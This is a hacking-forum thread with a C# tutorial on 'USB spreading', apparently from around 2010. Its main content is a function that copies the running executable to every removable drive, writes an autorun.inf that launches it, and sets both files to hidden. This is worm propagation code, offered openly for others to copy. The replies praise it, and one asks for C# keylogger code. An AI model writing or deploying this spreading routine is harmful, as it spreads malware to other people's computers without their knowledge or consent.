Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

C# 

[C#][TUT]USB Spread

USB Spreading is actually very easy to perform.Algorythm to do so consists of 4 steps:
1.Geting the list of USB drives
2.Copying file(s) to USB drive
3.Editing autorun.inf file
4.Hiding autorun.inf and copied files
In this tutorial i'm using C#, but it can be done in any programming language.This is function that spreads the running file to the all USB drives.If you are just copying my code, please give me some credits.

Code
using System.IO;

void USBSpread()
{
      DriveInfo[] Drives = DriveInfo.GetDrives();
      foreach (DriveInfo drive in drives)
            {
                if (drive.DriveType == DriveType.Removable)
                {
                      StreamWriter writer = new StreamWriter(drive.Name + "autorun.inf");
                       writer.WriteLine("[autorun]\n");
                       writer.WriteLine("open=file.exe");
                       writer.WriteLine("action=Run win32");
                       writer.Close();
                       File.SetAttributes(drive.Name + "autorun.inf", File.GetAttributes(drive.Name + "autorun.inf") | FileAttributes.Hidden);
                       File.Copy(Assembly.GetExecutingAssembly().Location, drive.Name + "file.exe", true);
                       File.SetAttributes(drive.Name + "file.exe", File.GetAttributes(drive.Name + "file.exe") | FileAttributes.Hidden);
                }
            }

}
Great Tut! Thanks Bro! :)
GJ Bro... +REP
:D ;) continue to write tutorials.. You will be have VIP on this 4um :D
Why do i have the feeling that the first 3 posters are the same guy?
you bad wrong feel :D
we don't now each other
+rep even though they guy is a reg member lol?

I think its the same dude too.

Idk what hed get off doing that.
Why on earth would i create 3 fake profiles???BTW you can see difference between my and JaNveL's grammar...-.-
Good bro, thank's you for sharing ...
I don't see how this is your code. You can find the exact same code posted everywhere on HF.
thanks a lot this function is very usefull. I searched the forum and I only find c++ code for keylogger. Is there any c# code for a keylogger. I know i'am lazy cause c++ and c# are quite similar. Thanks a lot anyway for this function
(Nov 26, 2010 08:03 AM)terabitez Wrote:  lOL WTF C# and C++ are totally different..

yeah but for it was so easy learning c# cause i already used c++ so there is a lot of similarity. I wanted to say that it's more easy to program in c# instead of visual basic (major of keylogger tutorial language) when you are experimented with c++


Possibly Related Threads...
Thread / Author Replies Views Last Post
[C#] by DeletedUser999213May 13, 2018 02:32 PM 12 882 May 13, 2018 02:32 PM
Last Post: jcbullet
[.NET] by Zilog80Feb 16, 2017 11:56 AM 12 737 Feb 16, 2017 11:56 AM
Last Post: Zilog80
[.NET] by danielpherlioMay 28, 2016 02:17 AM 3 554 May 28, 2016 02:17 AM
Last Post: Decim